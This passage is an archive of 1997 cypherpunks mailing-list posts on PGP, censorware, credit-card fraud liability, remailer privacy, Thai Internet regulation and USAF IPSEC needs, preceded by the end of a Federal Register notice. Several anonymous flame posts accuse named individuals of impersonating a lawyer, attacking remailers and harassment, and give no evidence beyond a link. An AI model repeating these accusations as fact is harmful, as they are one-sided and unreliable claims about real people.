Carpenter, OAS/EA/BXA MS: 3886C, 14th & Pennsylvania Avenue, N.W., 
U.S. Department of Commerce, Washington, D.C. 20230.

    The Assistant Secretary for Administration, with the concurrence of 
the delegate of the General Counsel, formally determined on December 
16, 1996, pursuant to Section 10(d) of the Federal Advisory Committee 
Act, as amended, that the series of meetings or portions of meetings of 
the Committee and of any Subcommittees thereof, dealing with the 
classified materials listed in 5 U.S.C. 552b(c)(1) shall be exempt from 
the provisions relating to public meetings found in section 10(a)(1) 
and (a)(3), of the Federal Advisory Committee Act. The remaining series 
of meetings or portions thereof will be open to the public. A copy of 
the Notice of Determination to close meetings or portions of meetings 
of the Committee is available for public inspection and copying in the 
Central Reference and Records Inspection Facility, Room 6020, U.S. 
Department of Commerce, Washington, D.C. For further information, call 
Lee Ann Carpenter at (202) 482-2583.

    Dated: November 3, 1997.
Lee Ann Carpenter,
Director, Technical Advisory Committee Unit.
[FR Doc. 97-29404 Filed 11-6-97; 8:45 am]
BILLING CODE 3510-DT-M







From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: nobody@nsm.htp.org
Date: Sat, 29 Nov 1997 01:32:23 +0800
To: cypherpunks@cyberpass.net
Subject: Re: PGP 5.0 ConsensuS?? -- is it usable?
Message-ID: <19971128172143.29047.qmail@nsm.htp.org>
MIME-Version: 1.0
Content-Type: text/plain



At 17:06 97/11/28 GMT, Lutz Donnerhacke wrote:
> * Anonymous Remailer wrote:
> >Do you think that it is a good idea to migrate from pgp 2.6.3 to
> >pgp 5.0 now?
> 
> No.

Yes.





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Declan McCullagh <declan@well.com>
Date: Sat, 29 Nov 1997 08:35:45 +0800
To: "Meeks, Brock" <Brock.Meeks@MSNBC.COM>
Subject: Re: Censor Intel
In-Reply-To: <c=US%a=_%p=MSNBC%l=MSNBCRED01-971128233734Z-42196@mail.msnbc.com>
Message-ID: <v03007800b0a50f5f267a@[204.254.21.48]>
MIME-Version: 1.0
Content-Type: text/plain



More intel, from the other side. The journalist and civil liberties groups
that have joined the Internet Free Expressional Alliance (compare and
contrast to the sponsors of the summit at
http://www.netparents.org/summit_part.html):

American Civil Liberties Union
American Society of Newspaper Editors
Bolt Reporter
Boston Coalition for Freedom of Expression
Computer Professionals for Social Responsibility
Electronic Frontier Foundation
Electronic Privacy Information Center
Feminists for Free Expression
First Amendment Project
Institute for Global Communications
International Periodical Distributors Association
Journalism Education Association
National Association of Artists Organizations
National Campaign for Freedom of Expression
National Coalition Against Censorship
National Writers Union
NetAction
Peacefire
Publishers Marketing Association
Society of Professional Journalists
z publishing

The IFEA press conference at 12:30 pm Monday will be carried by CSPAN for
you outside-the-Bway-folks. One or two libertarian thinktanks may make
available some material critical of the push towards mandatory voluntary
ratings. The IFEA folks will also, I'm told, have someone at the Censorware
Summit hotel itself, on Tuesday, in Meeting Room #6 on the lower level.

-Declan






From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Blanc <blancw@cnw.com>
Date: Sat, 29 Nov 1997 11:34:29 +0800
To: cypherpunks@cyberpass.net
Subject: Cyberzine Issue on Privacy & Security
Message-ID: <3.0.32.19971128192835.0069108c@cnw.com>
MIME-Version: 1.0
Content-Type: text/plain



Just discovered an online magazine at http://www.pretext.com.  The Nov/Dec
issue is on "Privacy & Security".  They feature articles on 

. The End of Privacy - are secrets safe in cyberspace?
. From Cowrie Shells to Computer Bytes - the history & future of currency
. Breaking the Codes - why National Encryption matters to you
. Herman Cohen, PI - on the trail with a virtual gumshoe

and an interview with Phil Zimmerman, plus a conversation with Lance
Cottrell on The Anonymizer.
    ..
Blanc





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: "William H. Geiger III" <whgiii@invweb.net>
Date: Sat, 29 Nov 1997 10:25:52 +0800
To: Eric Cordian <emc@wire.insync.net>
Subject: Re: --- STRONG ADULT CONTENT ---
In-Reply-To: <199711282112.PAA13434@wire.insync.net>
Message-ID: <199711290213.VAA29305@users.invweb.net>
MIME-Version: 1.0
Content-Type: text/plain



-----BEGIN PGP SIGNED MESSAGE-----

In <199711282112.PAA13434@wire.insync.net>, on 11/28/97 
   at 04:12 PM, Eric Cordian <emc@wire.insync.net> said:

>Monique writes:

>> Our new technology allows you to see our girls live and interact
>> with them right in your NETSCAPE 2.2+, INTERNET EXPLORER 3.02, and AOL FOR
>> WINDOWS 95 BROWSERS......

>One amusing note.  To buy time on this "service," one is presented with a
>form which requires one to fill in name, phone number, address, credit
>card number, and other personal information.  Hitting "Submit"  sends
>this form in cleartext to their web server.

>On the bottom of the form is printed... 

>"All Live Sex Sales are processed using CyberCash Transaction Encryption"


>While you're counting "Monique"s pussy hairs, the owner of the upstream
>router will be doing his Christmas shopping on your Mastercard. :)

This is one thing I have never understood about the greate concern users
have over their CC #'s. If ,as Eric points out , the upstream provider
goes Cristmas shopping on your Mastercard it is not the user who is out
the money! The person who gets stuck with the bill is the Vendors who sell
products to someone who is not authorized to use your card.

Of course the hype from the CC card company and those selling services
like CyberCash go a long way to explaining this.


- -- 
- ---------------------------------------------------------------
William H. Geiger III  http://users.invweb.net/~whgiii
Geiger Consulting    Cooking With Warp 4.0

Author of E-Secure - PGP Front End for MR/2 Ice
PGP & MR/2 the only way for secure e-mail.
OS/2 PGP 2.6.3a at: http://users.invweb.net/~whgiii/pgpmr2.html                        
- ---------------------------------------------------------------

-----BEGIN PGP SIGNATURE-----
Version: 2.6.3a-sha1
Charset: cp850
Comment: Registered_User_E-Secure_v1.1b1_ES000000

iQCVAwUBNH96Go9Co1n+aLhhAQLWSAQAjtLIf4exAXQJOpq2CdMQXzZvDkwqBKAc
nnu9R1/2q1iHiQZWkIi8dxOT/iePlhXQkYQPIzU4ttvQCnuXYwnA+ByHlWkRq+bW
2m7ZhBRfFc2WQ3e7aSWdF/cuwmmpb4JGL+cmzkhRnj6C5M9RnkcB9eDyvZQtP2Ho
G3jzZ241MME=
=wHay
-----END PGP SIGNATURE-----





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Eric Cordian <emc@wire.insync.net>
Date: Sat, 29 Nov 1997 10:32:46 +0800
To: whgiii@invweb.net (William H. Geiger III)
Subject: Re: --- STRONG ADULT CONTENT ---
In-Reply-To: <199711290213.VAA29305@users.invweb.net>
Message-ID: <199711290225.UAA13753@wire.insync.net>
MIME-Version: 1.0
Content-Type: text/plain



William H. Geiger III writes:

> This is one thing I have never understood about the greate concern users
> have over their CC #'s. If ,as Eric points out , the upstream provider
> goes Cristmas shopping on your Mastercard it is not the user who is out
> the money! The person who gets stuck with the bill is the Vendors who sell
> products to someone who is not authorized to use your card.

Actually, it's the credit card issuer who eats it.  The issuer guarantees
the merchant payment as long as the charge is approved at the point of
sale. This is why merchants almost never care who or what presents the
card, as long as the card is valid.

The actual owner of the card is also protected against having to pay
fradulent charges, as long as he informs the card company in a timely
manner if the card is lost, stolen, or misused.

The cost of guaranteeing any valid card is as good as cash to the
merchant, and holding the consumer harmless for fraud, is born through
fees and interest on card balances, and merchant fees for processing
credit card transactions. 

Of course, the attitude of "why should I care if my card is used
fradulently, I won't have to pay" raises credit card costs to everyone, as
the card companies simply recycle the added expense back to their
customers. 

You may recall a recent news story in which someone collected a huge
number of credit card numbers from a major vendor doing business on the
Net, and attempted to market them. 

--
Eric Michael Cordian 0+
O:.T:.O:. Mathematical Munitions Division
"Do What Thou Wilt Shall Be The Whole Of The Law"





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Anonymous <anon@anon.efga.org>
Date: Sat, 29 Nov 1997 11:02:07 +0800
To: mail2news@basement.replay.com
Subject: Re: "Good job NANAE. You really fucked up royally."  -- DataBasix
In-Reply-To: <65f2mj$t22@sjx-ixn2.ix.netcom.com>
Message-ID: <3dd75d15d1f8e6a2c387aa0fb78ba5e5@anonymous.poster>
MIME-Version: 1.0
Content-Type: text/plain



gburnore+spam@netcom.com (Gary L. Burnore) wrote:
        ^^^^^

Netcom is now requiring "truth in labelling", eh?

> : Cat got his tongue?
> 
> I was busy. Surely now you'll try to figure out what I was doing.

I'm sure we'll find out soon enough, since you seem to be so intent
on taunting your readers with your latest mischief.  If you're dying
to tell us, then feel free to do so.  Otherwise, drop it.  Your call.

> : Really?  Then why are you hiding your own post from being archived by a neutral
> : third party?  Trying to maintain "plausible deniability" if you post something
> : you later regret saying and want to claim it was "forged"?
> 
> What does DejaNews have to be with this?  You can save all of her/my posts on
> your own if you want to.   *No doubt, you've already done that* so why
> complain?

So you can claim that anything you posted that later proves to be
too embarassing was "forged", right?  That's a lot easier to do if
you don't sign them with the PGP key which you keep advertising in
your bloated .sig, and you make sure they aren't archived by any
NEUTRAL third party.  (Remember when you called someone else [who
shall remain nameless at his request] a "coward" for hiding HIS
posts behind an "X-No-Archive" header?)

Many readers will remember that you were whining pitifully a few
months ago about how remailers were allegedly being used to "forge"
posts in your name.  You were given several suggestions, one of
which was to install PGP, generate a key, and use it to sign *ALL*
of your genuine posts.  Your huge .sig now contains the fingerprint
of a PGP public key that YOU ARE STILL NOT USING.  Still trying to
maintain "plausible deniability" for your posts?

And then a few weeks ago you butted into technical question posted
to alt.privacy.anon-server about Private Idaho with the implication
that the person asking the question wanted to know the answer so
that he/she could commit "forgery".  If you're so concerned about
forgery, why have you not bothered to try what was already suggested
the last time you launched into your "remailer users are abusive
assholes" tirade?

> :  Posing as a
> : "lawyer" for DataBasix, you demanded that Jeff Burchell turn over all of his
> : user logs to you and Gary, just as the so-called "Church" of $cientology
> : did with the anon.penet.fi remailer in Finland last year. 
> 
> She never posed as a lawyer.  Yet another of your lies.

Then why did you demand that Jeff violate the privacy of all of his
users by turning over his user logs to you and Belinda Bryan
<eridani@ix.netcom.com>?  And when he said that the only condition
he'd release them was in response to a letter FROM YOUR LAWYER,
Belinda Bryan sent such a letter?

Perhaps the remailer users would like to know what purpose you had
in mind for demanding the e-mail addresses of EVERYONE who either
SENT or RECEIVED anonymous mail through Jeff's remailer.

> : The end
> : result was the same in both cases, too.  Both remailers shut down to avoid
> : the continued harassment from people like you, Gary, and Helena.  I hope
> : you're proud of yourselves.
> 
> Even the remailer operator proved you wrong.  Nice try liar.  It's not going
> to work anymore.  

It's your abuse that's not going to work anymore.  You've cried wolf
once too often about "abuse", "forgery", and other imagined
offenses.  The remailer operator did not "prove me wrong".  Reread
his post when you're sober:

  http://infinity.nus.sg/cypherpunks/dir.archive-97.11.13-97.11.19/0432.html

Just to refresh your memory, you were asked whether you had asked
Jeff Burchell to censor any anonymous posts that mentioned your
name.  You stonewalled the question, flippantly suggesting that
he/she ask the operator.  Someone did just that, and Jeff's post is
the result of that.  Looks like you gambled and lost that time!

You can call remailer users "liars" and "anonymous assholes" to your
heart's content, but your censorious actions and those of your
associates at DataBasix speak for themselves.

--





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Anonymous <anon@anon.efga.org>
Date: Sat, 29 Nov 1997 11:34:34 +0800
To: mail2news@basement.replay.com
Subject: Re: Sadaam Burnore Strikes Again (was: Re: Keman the Klueless Strikes Again)
In-Reply-To: <199711221553.HAA28661@sirius.infonex.com>
Message-ID: <9ceb4c221986174b257a35f0f5f348f1@anonymous.poster>
MIME-Version: 1.0
Content-Type: text/plain



rfg@monkeys.com (Ronald F. Guilmette) wrote:

> >Your looney maroon conspiracy theories that Ron Guilmette has been "stalking"
> >you and is responsible for every bad thing that has ever happened to you
> >are simply more evidence of your paranoid mental state.
> 
> I realize that you think that you are trying to do some good, but I'm
> going to ask you nicely to please stop all of this baiting of Burnore.
> Sure, he's basically kind of a dickhead, but what's the point?
> 
> I want to be really really clear about this... What you are doing is
> just making things worse.  You aren't helping.  In fact you are making
> things worse by feeding his paranoia.  (And it isn't entirely clear from
> where I sit that he is entirely stable, so this is rather a dangerous
> thing for you to do... not for you of course... posting anonymously...
> but for me.  It isn't you that's going to be signing hospital consent
> forms when you finally push this guy over the edge and make him go postal.
> I'd like you to consider that.)

If you have evidence to support that conclusion, then do us all a
favor and give it to the authorities so that Gary Burnore can
receive the help he needs.  I can apreciate your motivation to
appease him.  In the past, he's displayed a tendency to shift his
abuse and attacks to someone else (like Scott Dentice) when you've
done that.  But shifting the focus of his attacks doesn't end them.

I doubt that you're even the PRIMARY focus of his tirades anymore,
even though that seems to be the impression he's trying to give.
Gary Burnore, Belinda Bryan, and the rest of the DataBasix wrecking
crew seem to be on a power trip these days.

The fact that he attempted to CONTROL you by posting embarassing
information to the net and threatening to post more unless you
stopped criticizing him gave us a glimpse of his real agenda.  I
doubt that discrediting Ron Guilmette forms more than a tiny
fraction of his and Belinda's overall agenda.  IMO, you and the
fanciful charges he's made against you are only his excuse for doing
what he's been doing.

> P.P.S.  If you have some beef about something that Burnore has done to
> _you_ then alright.  Talk about that and only that.  If I have a beef
> with Burnore please allow me the dignity of persuing that myself.  I
> don't need your help, and I don't need you to defend me.  I can take
> care of myself, thank you very much.

Exactly.  You've got to do what you've got to do, and I must do
likewise.  Perhaps I don't know the entire background of what's
going on here, and if you'd care to enlighten us all, then by all
means feel free to do so.  My involvement in this controversy
started when my account at Mailmasher suddenly stopped working and
I learned that one of Gary Burnore's buddies, Billy McClatchie (who
calls himself "Wotan"), was behind the attack that shut it down.

I might never have connected that attack to Gary until he and
Belinda Bryan tried something similar against another remailer also
operated by Jeff Burchell and Jeff chose to go public with an expose
(post-mortem, unfortunately) of the abusive tactics that DataBasix
had employed (see URL at the bottom), including a situation where
Belinda Bryan attempted to impersonate an attorney in demanding that
Jeff turn over all of his user logs to DataBasix.  As it turns out,
Mr. Burchell wisely kept no such logs, but what use do you suppose
Gary might found for the e-mail addresses contained in those logs,
had he succeeded in obtaining them?  When Gary uses you as an excuse
to try and violate my privacy and that of other remailer users, then
it becomes my business.

> Am I making myself clear?  Butt out.  When I need you, I'll let you know.
> In the meantime, fight your own fights.

That's exactly what I'm doing.  And I'd suggest that you do
likewise.  If you have reasonable cause to believe that Gary Burnore
would resort to violence against you, then take any and all
necessary steps to protect yourself.  But don't expect everyone else
to shut up in an attempt to appease Burnore.

If and when he chooses another pretext to attack the right to speak
freely on the net, then I'll challenge him on that.  Don't flatter
yourself in thinking that this is primarily about you.  Gary is a
CONTROL FREAK.  He has some underlying need to control what's said
on the net.  When he can't refute the MESSAGE, he attempts to punish
the MESSENGER.  While you certainly saw that happen in your case,
you're far from unique.  And when the MESSENGER is beyond his reach
(posting anonymously or whatever), he attacks the CHANNELS of
communication instead.  When one such attack affected me, then it
became my business.  (A later search in DejaNews confirmed that I
was not the first anonymous poster to draw file from Gary Burnore.)

Involving you in this is Gary's choice, not mine.  When he makes
claims such as "Ron Guilmette used an anonymous remailer to forge my
name", or "rfg sent anonymous letters to harass a teenage girl with
a web page at DataBasix" in order to attack remailers, then you've
just become unwittingly involved in the debate.

Ignoring Gary and his provocations doesn't work, because he goes out
of his way to pick fights with other remailer users.  For example,
he recently butted into a thread over on alt.privacy.anon-server
with an anti-remailer tirade.  Someone merely posted a technical
question about how to do something with a remailer interface
software package and was treated to a "reply" about how remailers
were being used by you to "spam bait" him.  In fact, he did this
with two different threads.

If you haven't been following that saga, I'd invite you to read Jeff
Burchell's account of Gary Burnore, Belinda Bryan, and Billy
McClatchie's attacks on his remailers at:

  http://infinity.nus.sg/cypherpunks/dir.archive-97.11.13-97.11.19/0432.html

If you come up with a way to prevent similar future attacks by Gary
Burnore, then please share it.





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: "Jonathan Wienke" <JonWienk@ix.netcom.com>
Date: Sat, 29 Nov 1997 14:42:36 +0800
To: "Cypherpunks List" <coderpunks@toad.com>
Subject: PGP / Outlook Express Plugin Problem
Message-ID: <01bcfc90$3e7868e0$LocalHost@jonathan-s-pc>
MIME-Version: 1.0
Content-Type: text/plain



I just received a CD from Microsoft with a subscription to MSN and the
install for Internet Explorer 4.0 and Outlook Express.  I installed
Explorer and Outlook but have not been able to get Outlook to recognize the
PGP plugin.  (I reinstalled PGP after installing Outlook)  Does anyone have
any suggestions?  I have encrypt and sign buttons, but they are for
Outlook's bozo built-in encryption and require a "digital ID" from
VeriSign, which I have no desire to buy.

Jonathan Wienke





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Anonymous <anon@anon.efga.org>
Date: Sat, 29 Nov 1997 12:16:11 +0800
To: mail2news@basement.replay.com
Subject: Re: Non Logging News Servers? Try #2
In-Reply-To: <0cc751b9ffaf2c1afd6a2289b4873895@anonymous.poster>
Message-ID: <e349157902e951f835e046e65101d325@anonymous.poster>
MIME-Version: 1.0
Content-Type: text/plain



lcs Remailer Administrator <mix-admin@nym.alias.net> wrote:

> The unfortunate reality is that almost all news servers log, and there
> is no way to tell if you don't actually have an account on the server.
> There may be privacy conscious ISPs that actually promote the fact
> that they don't log, but I don't know of any to recommend.
> 
> The point of putting that in the help file was also to make people
> realize there is a trade-off.  Posting to news groups might not
> actually be the safest solution.  Basically, if you are more worried
> about the remailer operators, alt.anonymous messages is probably the
> best place to send messages.  However, if you are more worried about
> your employer/ISP than about the remailer operators, then it probably
> makes more sense just to have an ordinary e-mail reply block.

One solution to this problem is to run your own personal news server
like "souper" that gathers ALL new news article in a certain NG and
stores them locally for off-line reading.

If you're consistently pulling news messages for the
alt.anonymous.messages NG off of a certain server, it could be
reasonably inferred that you are the intended recipient of at least
SOME of those messages.  But if you use a client that invariably
grabs all the new messages each time, it would be rather difficult
to determine which messages you are interested in.

To avoid traffic analysis, use a software program to pull the
messages for you.  If you do it manually, even if you try to pull
them all, you will undoubtedly read and save them in a certain
order, or spend more time reading certain ones that will betray your
interest in certain messages.

As for employers, any of them that are sophistocated enough to be
monitoring NNTP connections and creating a profile of your reading
habits probably also have their own firewall and news server.  IOW,
if they run their own news server and carry a certain NG, then
they'd have a hard time objecting to your reading it.

It would probably be wise to assume a worst-case scenario and only
deviate from it when you're sure it's safe to do so.  For example,
suppose you used a pseudonym to publish an article that was critical
of the current Ayatollah in Iran, or perhaps deemed offensive to
Islam in general, and you were sentenced to death in absentia ... if
they can find and identify you.  (Sort of an anonymous Salmon
Rushdie.)  Start out assuming you need that level of security and go
from there.  But if someone has gone to the trouble of setting up a
'nym, then he probably perceives a need for more than just a casual
level of security.

--





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: damaged justice <frogfarm@yakko.cs.wmich.edu>
Date: Sat, 29 Nov 1997 12:28:06 +0800
To: cypherpunks@Algebra.COM
Subject: Without Laws, There Are No Rights
Message-ID: <199711290422.XAA07301@yakko.cs.wmich.edu>
MIME-Version: 1.0
Content-Type: text/plain




   [1]SIDEBAR 
   
                                 [2][LINK]
                                      
No End In Sight To Thai Internet Regulation

          ****No End In Sight To Thai Internet Regulation 11/28/97
          BANGKOK, THAILAND, 1997 NOV 28 (NB) -- By Sasiwimon Boonruang,
          Bangkok Post. Finding a consensus on how the Internet should be
          regulated in Thailand is proving to be a difficult task,
          experts say.
          
          Attorney General Office Prosecutor Shinnawat Thongpakdee said
          the law defines and protects human rights and duties and
          inevitably involves itself with human behavior. As the Internet
          is a phenomenon related with human behavior as well, it would
          "unavoidably" be involved with the law as well.
          
          There are several "rights" involved with Internet information:
          the right to control access to information, right of
          information use, right of copying information, and the right to
          publicize information. These rights cannot be separated, he
          said.
          
          The rights come from several laws - "without laws, there are no
          rights," the prosecutor said.
         
[And a BIG, HEARTY RASPBERRY to this CLUELESS MORON!]
 
          In the Internet world, the producers of information own the
          copyright to their work, and consequently, any law regarding
          the Internet should also go hand in hand with copyright laws.
          
          There is no solution at the moment as to whether there should
          be compulsory laws regarding the Internet because it's
          difficult to use legal means to enforce such laws, and they
          would also vary greatly from one country to the next.
          
          One practical approach would be drawing up of a worldwide
          conventional agreement regarding Internet regulation, allowing
          each country to sign off of their own choosing.
          
          At the very least, he said, we should accumulate information
          concerning the Internet in order to consider what should be
          allowed or prohibited - this information would be useful in the
          future.
          
          Mr Shinnawat added that Internet technology is very new for the
          legal sector and other societies, and it was difficult to make
          any conclusions in legal term about the Internet at the moment.
          
          He said the Internet provided the opportunity for all - rich
          and poor alike - to access and make use of information, even
          though the reality would be that the gap between rich and poor
          would grow even wider.
          
          According to Internet Thailand Service Center (ITSC) President
          Trin Tantsetthi, infringement on the Internet has increased
          greatly during the last year, and laws regarding the Internet
          would be very hard to enforce.
          
          For example, there were already 30,000 documents on the
          Internet in Thailand already.
          
          Copyright infringements on the works of others was wrong in
          both moral and legal terms, he said, but using legal means to
          deal with it would prove difficult. Social pressures might be
          an alternative.
          
          Wanchai Kanti, of Thammasat University, said people should have
          freedom of speech and freedom to express opinions, and that the
          flow of information "should not be closed", especially to
          academic institutes. There should not be laws to control
          Internet content, although opinions expressed should be done in
          a responsible manner.
          
          Reported By Newsbytes News Network: [3]http://www.newsbytes.com
          
          (19971128)
          
   [4]Copyright (c)Newsbytes News Network. All rightsreserved. For more
   Newsbytes see http://www.newsbytes.com.
   
         [5]Home | [6]Daily | [7]Weekly | [8]Publishers | [9]Search

References

   1. http://www.newsbytes.com/menus/navbar.map
   2. http://ad.preferences.com/click.ng;spacedesc=CliqTech_Newsbytes_468x60_CTGeneral_Any
   3. http://www.newsbytes.com/
   4. http://www.nbnn.com/copyrght.html
   5. http://www.nbnn.com/home.html
   6. http://www.nbnn.com/news/s_daily.html
   7. http://www.nbnn.com/news/s_week.html
   8. http://www.nbnn.com/publishers/publi_1.html
   9. http://www.nbnn.com/html_p/search.html





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: dlv@bwalk.dm.com (Dr.Dimitri Vulis KOTM)
Date: Sat, 29 Nov 1997 13:31:44 +0800
To: cypherpunks@toad.com
Subject: Re: --- STRONG ADULT CONTENT ---
In-Reply-To: <199711290225.UAA13753@wire.insync.net>
Message-ID: <N6Xwge44w165w@bwalk.dm.com>
MIME-Version: 1.0
Content-Type: text/plain



Eric Cordian <emc@wire.insync.net> writes:
>
> > This is one thing I have never understood about the greate concern users
> > have over their CC #'s. If ,as Eric points out , the upstream provider
> > goes Cristmas shopping on your Mastercard it is not the user who is out
> > the money! The person who gets stuck with the bill is the Vendors who sell
> > products to someone who is not authorized to use your card.
>
> Actually, it's the credit card issuer who eats it.  The issuer guarantees
> the merchant payment as long as the charge is approved at the point of
> sale. This is why merchants almost never care who or what presents the
> card, as long as the card is valid.
>
> The actual owner of the card is also protected against having to pay
> fradulent charges, as long as he informs the card company in a timely
> manner if the card is lost, stolen, or misused.

of course the credit card issuers do this not out of the goodness of their
heart but because they're required to by the US gubmint. It's not at all
clear if they have to eat the fraudulent charges if the card holder hasn't
been following the issuer's instructions.

> The cost of guaranteeing any valid card is as good as cash to the
> merchant, and holding the consumer harmless for fraud, is born through
> fees and interest on card balances, and merchant fees for processing
> credit card transactions.
>
> Of course, the attitude of "why should I care if my card is used
> fradulently, I won't have to pay" raises credit card costs to everyone, as
> the card companies simply recycle the added expense back to their
> customers.
>
> You may recall a recent news story in which someone collected a huge
> number of credit card numbers from a major vendor doing business on the
> Net, and attempted to market them.

Actually, if you call up your credit card issuer and ask, hypothetically,
what would happen if you transmitted your credit card info over the Internet,
and someone got hold of them, and charged lots of money. Don't assume
that they have to eat it.

---

Dr.Dimitri Vulis KOTM
Brighton Beach Boardwalk BBS, Forest Hills, N.Y.: +1-718-261-2013, 14.4Kbps





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: "David E. Smith" <dave@bureau42.ml.org>
Date: Sat, 29 Nov 1997 14:03:52 +0800
To: cypherpunks@Algebra.COM
Subject: Re: [RePol] Denizen
In-Reply-To: <1u4Vge36w165w@bwalk.dm.com>
Message-ID: <Pine.LNX.3.96.971128232604.21775D-100000@bureau42.ml.org>
MIME-Version: 1.0
Content-Type: text/plain



On Fri, 28 Nov 1997, Dr.Dimitri Vulis KOTM wrote:

> Ralphie should get together with David Smith, the operator of the bureau42
> remailer, who filters out whatever contents he doesn't like. Anything
> coming out of bureau42 remailer is personally approved by David Smith
> who bears full civil and criminal responsibility for the contents he approves.

This charge is completely unfounded, and completely bogus besides.

dave





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Rabid Wombat <wombat@mcfeely.bsfs.org>
Date: Sat, 29 Nov 1997 14:08:44 +0800
To: Robert Hettinga <rah@shipwright.com>
Subject: Re: US Air Force IPSEC Requirements
In-Reply-To: <v04002726b0a22d3263f4@[139.167.130.248]>
Message-ID: <Pine.BSF.3.91.971128233501.17990B-100000@mcfeely.bsfs.org>
MIME-Version: 1.0
Content-Type: text/plain




Maybe the Air Force should hire a consultant instead of CSC.

On Wed, 26 Nov 1997, Robert Hettinga wrote:

> 
> --- begin forwarded text
> 
> 
> From: "Boyter, Brian A." <boyter@afiwc01.af.mil>
> To: "'ipsec@tis.com'" <ipsec@tis.com>
> Subject: US Air Force IPSEC Requirements
> Date: Tue, 25 Nov 1997 17:03:03 -0600
> MIME-Version: 1.0
> Sender: owner-ipsec@ex.tis.com
> Precedence: bulk
> 
> First, I would like to introduce myself...
> My name is Brian Boyter, I'm a Senior Consulting
> Engineer with the Computer Sciences Corp, and I
> am under contract to the US Air Force Information
> Warfare Center in San Antonio, Texas, working on
> USAF computer security...
> 
> The USAF is evaluating the use of IPSEC products
> to help secure its unclassified networks...   These unclas
> networks are used to communicate with contractors, and to
> process financial, logistic, personnel, and medical data...
> The IPSEC would be used to protect the data from
> unauthorized viewing and to protect the networks and
> computers from hackers...   Our goal is to eventually IPSEC
> encrypt all unclassified computer communications end-to-end...
> 
> The USAF recently completed a hasty evaluation of several
> IPSEC products...   Most products would work fine for a
> small organization, but do not scale to an enterprise the size
> of the USAF (500,000 computers)...
> 
> Here is a short list of basic USAF requirements which we found
> lacking in the current IPSEC products:
> 1. 	The Department of Defense will soon deploy a Public
> Key Infrastructure (PKI)...   The IPSEC products need to
> use this existing PKI (not require a separate keying product)...
> 2. 	The USAF uses HP OpenView as its standard SNMP
> management product...   Error logging and other IPSEC status
> information needs to interoperate with OpenView...
> 3. 	The USAF needs to be able to manage the IPSEC security
> policy sanely...   An example of a USAF IPSEC security policy
> might be:  "all USAF computers can talk to all other USAF
> computers using DES, all other computers it talks in-the-clear"...
> It will not be possible to manage 500,000 different rule sets...
> The security policy must be made simple...    We need the X.500
> equivalent
> of *.mil,  *.af.mil,  *.lackland.af.mil,  and *.hospital.*.af.mil so
> that
> we can generate rule sets using these wild cards...   I don't think
> rules based on IP addresses will work either...
> 
> I'm not including interoperability in the above list because the ANX
> has done a good job of making that requirement visible....
> 
> What I'm trying to point out is two things:
> 1. The IPSEC products need to re-use as much of our existing
> infrastructure as possible (for example PKI, SNMP, etc)...
> If the USAF were a small company that didn't have a large
> infrastructure
> investment already, it wouldn't be an issue...   But if each IPSEC
> product
> requires a management console at each air force base, then that can
> add up to millions of dollars, thousands of man hours, training costs,
> etc...
> 2. I'm also trying to point out that there is no standard (that I can
> find) for
> representing, storing, or disseminating the security policy....
> 
> Although these are Air Force requirements, I'm sure the same
> requirements will exist for any large enterprise contemplating the
> use
> of IPSEC products...
> 
> I plan to be at the IETF meeting in December and will be glad to
> speak to anyone about these issues...    Perhaps an IPSEC security
> policy BOF could even be arranged???
> 
> Thanks,
> Brian Boyter
> boyter@afiwc01.af.mil
> (210)977-3113
> 
> --- end forwarded text
> 
> 
> 
> -----------------
> Robert Hettinga (rah@shipwright.com), Philodox
> e$, 44 Farquhar Street, Boston, MA 02131 USA
> "... however it may deserve respect for its usefulness and antiquity,
> [predicting the end of the world] has not been found agreeable to
> experience." -- Edward Gibbon, 'Decline and Fall of the Roman Empire'
> The e$ Home Page: http://www.shipwright.com/
> Ask me about FC98 in Anguilla!: <http://www.fc98.ai/>
> 
> 
> 





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: nobody@REPLAY.COM (Anonymous)
Date: Sat, 29 Nov 1997 11:45:59 +0800
To: mail2news@basement.replay.com
Subject: Re: "Good job NANAE. You really fucked up royally."  -- DataBasix
In-Reply-To: <65f2mj$t22@sjx-ixn2.ix.netcom.com>
Message-ID: <199711290325.EAA14294@basement.replay.com>
MIME-Version: 1.0
Content-Type: text/plain



gburnore+spam@netcom.com (Gary L. Burnore) wrote:
        ^^^^^

Netcom is now requiring "truth in labelling", eh?

> : Cat got his tongue?
> 
> I was busy. Surely now you'll try to figure out what I was doing.

I'm sure we'll find out soon enough, since you seem to be so intent
on taunting your readers with your latest mischief.  If you're dying
to tell us, then feel free to do so.  Otherwise, drop it.  Your call.

> : Really?  Then why are you hiding your own post from being archived by a neutral
> : third party?  Trying to maintain "plausible deniability" if you post something
> : you later regret saying and want to claim it was "forged"?
> 
> What does DejaNews have to be with this?  You can save all of her/my posts on
> your own if you want to.   *No doubt, you've already done that* so why
> complain?

So you can claim that anything you posted that later proves to be
too embarassing was "forged", right?  That's a lot easier to do if
you don't sign them with the PGP key which you keep advertising in
your bloated .sig, and you make sure they aren't archived by any
NEUTRAL third party.  (Remember when you called someone else [who
shall remain nameless at his request] a "coward" for hiding HIS
posts behind an "X-No-Archive" header?)

Many readers will remember that you were whining pitifully a few
months ago about how remailers were allegedly being used to "forge"
posts in your name.  You were given several suggestions, one of
which was to install PGP, generate a key, and use it to sign *ALL*
of your genuine posts.  Your huge .sig now contains the fingerprint
of a PGP public key that YOU ARE STILL NOT USING.  Still trying to
maintain "plausible deniability" for your posts?

And then a few weeks ago you butted into technical question posted
to alt.privacy.anon-server about Private Idaho with the implication
that the person asking the question wanted to know the answer so
that he/she could commit "forgery".  If you're so concerned about
forgery, why have you not bothered to try what was already suggested
the last time you launched into your "remailer users are abusive
assholes" tirade?

> :  Posing as a
